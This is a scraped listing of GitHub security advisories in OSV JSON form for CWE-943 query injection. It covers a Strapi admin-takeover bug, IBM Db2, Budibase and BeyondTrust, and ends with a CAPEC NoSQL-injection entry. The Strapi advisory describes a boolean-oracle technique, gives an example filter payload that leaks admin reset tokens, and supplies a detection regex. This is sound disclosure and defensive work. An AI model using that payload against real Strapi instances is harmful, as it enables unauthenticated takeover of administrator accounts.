The patch introduces explicit query-parameter sanitization at the controller and service boundary via three new primitives: strictParam, addQueryParams, and addBodyParams. Operator chains that traverse into restricted relational targets are now rejected before reaching the database.
IoC's for CVE-2026-27886
Indicators that an instance running an unpatched version may have been exploited:
- Server access logs containing query strings traversing into admin-relation private fields. Regex:
\?(.*&)?where\[(updatedBy|createdBy|publishedBy)\]\[(email|password|resetPasswordToken|confirmationToken|firstname|lastname|preferedLanguage)\]\[\$(startsWith|contains|eq|gt|lt|ge|le|in|notIn|notNull|null)\]= - High volume of public Content API requests from a single IP iterating through a hex alphabet (
0-9,a-f) on the same content-type endpoint with progressively-longer filter values - Subsequent
POST /admin/reset-passwordcalls using a reset token that the legitimate admin did not request - Successful admin password change immediately following a burst of public Content API requests with
where[updatedBy]query parameters - Sustained burst of identical-shape requests with only the trailing character of the filter value varying
Credit
Discovered by: James Doll - WildWest CyberSecurity Contact: cve+2026-27886@wildwestcyber.com Website: https://wildwestcyber.com LinkedIn: https://www.linkedin.com/in/james-doll-273a61243
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@strapi/strapi"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.37.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27886"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-22",
"CWE-943"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T13:17:58Z",
"nvd_published_at": "2026-05-14T19:16:31Z",
"severity": "CRITICAL"
},
"details": "### Summary of CVE-2026-27886 Vulnerability Details\n\n- CVE: CVE-2026-27886\n- CVSS v3.1 Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N` (9.3 \u2014 Critical)\n- Affected Versions: `@strapi/strapi` \u003c=5.36.1\n- How to Patch: Immediately update your Strapi to \u003e=5.37.0\n\n### Description of CVE-2026-27886\n\nStrapi versions prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An unauthenticated attacker could use the `where` query parameter on any publicly-accessible content-type with an `updatedBy` (or other admin-relation) field to perform a boolean-oracle attack against private fields on the joined `admin_users` table, including the `resetPasswordToken` field. Extracting an admin reset token via this oracle made full administrative account takeover possible without authentication.\n\nWhen a filter such as `where[updatedBy][resetPasswordToken][$startsWith]=a` was applied to a public Content API endpoint, the underlying query generation performed a `LEFT JOIN` against the `admin_users` table and emitted a `WHERE` clause referencing the joined column. The query parameter sanitization layer did not block operator chains that traversed into relational target schemas the caller had no read permission on, allowing the response count to be used as a one-bit oracle on any admin-table field.\n\nThe patch introduces explicit query-parameter sanitization at the controller and service boundary via three new primitives: `strictParam`, `addQueryParams`, and `addBodyParams`. Operator chains that traverse into restricted relational targets are now rejected before reaching the database.\n\n### IoC\u0027s for CVE-2026-27886\n\nIndicators that an instance running an unpatched version may have been exploited:\n\n- Server access logs containing query strings traversing into admin-relation private fields. Regex: `\\?(.*\u0026)?where\\[(updatedBy|createdBy|publishedBy)\\]\\[(email|password|resetPasswordToken|confirmationToken|firstname|lastname|preferedLanguage)\\]\\[\\$(startsWith|contains|eq|gt|lt|ge|le|in|notIn|notNull|null)\\]=`\n- High volume of public Content API requests from a single IP iterating through a hex alphabet (`0`-`9`, `a`-`f`) on the same content-type endpoint with progressively-longer filter values\n- Subsequent `POST /admin/reset-password` calls using a reset token that the legitimate admin did not request\n- Successful admin password change immediately following a burst of public Content API requests with `where[updatedBy]` query parameters\n- Sustained burst of identical-shape requests with only the trailing character of the filter value varying\n\n### Credit\nDiscovered by: James Doll - WildWest CyberSecurity\nContact: cve+2026-27886@wildwestcyber.com\nWebsite: https://wildwestcyber.com\nLinkedIn: https://www.linkedin.com/in/james-doll-273a61243",
"id": "GHSA-rjg2-95x7-8qmx",
"modified": "2026-05-15T23:44:50Z",
"published": "2026-05-14T13:17:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/strapi/strapi/security/advisories/GHSA-rjg2-95x7-8qmx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27886"
},
{
"type": "PACKAGE",
"url": "https://github.com/strapi/strapi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Strapi may leak sensitive data via relational filtering due to lack of query sanitization"
}
GHSA-RM86-2RM3-62G8
Vulnerability from github – Published: 2025-07-29 21:30 – Updated: 2025-07-29 21:30IBM Db2 for Linux 12.1.0, 12.1.1, and 12.1.2
is vulnerable to denial of service with a specially crafted query under certain non-default conditions.
{
"affected": [],
"aliases": [
"CVE-2025-33114"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-07-29T19:15:45Z",
"severity": "MODERATE"
},
"details": "IBM Db2 for Linux 12.1.0, 12.1.1, and 12.1.2 \n\n\n\nis vulnerable to denial of service with a specially crafted query under certain non-default conditions.",
"id": "GHSA-rm86-2rm3-62g8",
"modified": "2025-07-29T21:30:44Z",
"published": "2025-07-29T21:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33114"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7240943"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RQXQ-F5CC-3XP6
Vulnerability from github – Published: 2026-08-13 12:31 – Updated: 2026-08-13 12:31Budibase before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB datasource integration where user-supplied parameters are enriched with handlebars using noEscaping: true and parsed without operator filtering. Attackers can inject MongoDB operators through query parameters to bypass per-user access controls, read arbitrary documents, execute JavaScript via $where operators, or modify collections through update and delete operations.
{
"affected": [],
"aliases": [
"CVE-2026-73617"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-13T12:17:26Z",
"severity": "HIGH"
},
"details": "Budibase before 3.40.0 contains a NoSQL injection vulnerability in the MongoDB datasource integration where user-supplied parameters are enriched with handlebars using noEscaping: true and parsed without operator filtering. Attackers can inject MongoDB operators through query parameters to bypass per-user access controls, read arbitrary documents, execute JavaScript via $where operators, or modify collections through update and delete operations.",
"id": "GHSA-rqxq-f5cc-3xp6",
"modified": "2026-08-13T12:31:11Z",
"published": "2026-08-13T12:31:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-pmpg-2mxq-6xwr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73617"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/budibase-before-nosql-injection-via-mongodb-datasource"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-V5XX-3HCF-FM67
Vulnerability from github – Published: 2026-07-06 18:31 – Updated: 2026-07-07 21:31A high-severity vulnerability exists in a web application component of BeyondTrust Remote Support and Privileged Remote Access related to the processing of certain input parameters. Insufficient validation of user-supplied input may allow an authenticated attacker with limited privileges to access unintended resources or data beyond their authorization scope. Exploitation is restricted to accounts with specific permissions.
{
"affected": [],
"aliases": [
"CVE-2026-40141"
],
"database_specific": {
"cwe_ids": [
"CWE-943"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-06T17:16:31Z",
"severity": "HIGH"
},
"details": "A high-severity vulnerability exists in a web application component of BeyondTrust Remote Support and Privileged Remote Access related to the processing of certain input parameters.\u00a0Insufficient validation of user-supplied input may allow an authenticated attacker with limited privileges to access unintended resources or data beyond their authorization scope. Exploitation is restricted to accounts with specific permissions.",
"id": "GHSA-v5xx-3hcf-fm67",
"modified": "2026-07-07T21:31:30Z",
"published": "2026-07-06T18:31:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40141"
},
{
"type": "WEB",
"url": "https://www.beyondtrust.com/trust-center/security-advisories/bt26-03"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-676: NoSQL Injection
An adversary targets software that constructs NoSQL statements based on user input or with parameters vulnerable to operator replacement in order to achieve a variety of technical impacts such as escalating privileges, bypassing authentication, and/or executing code.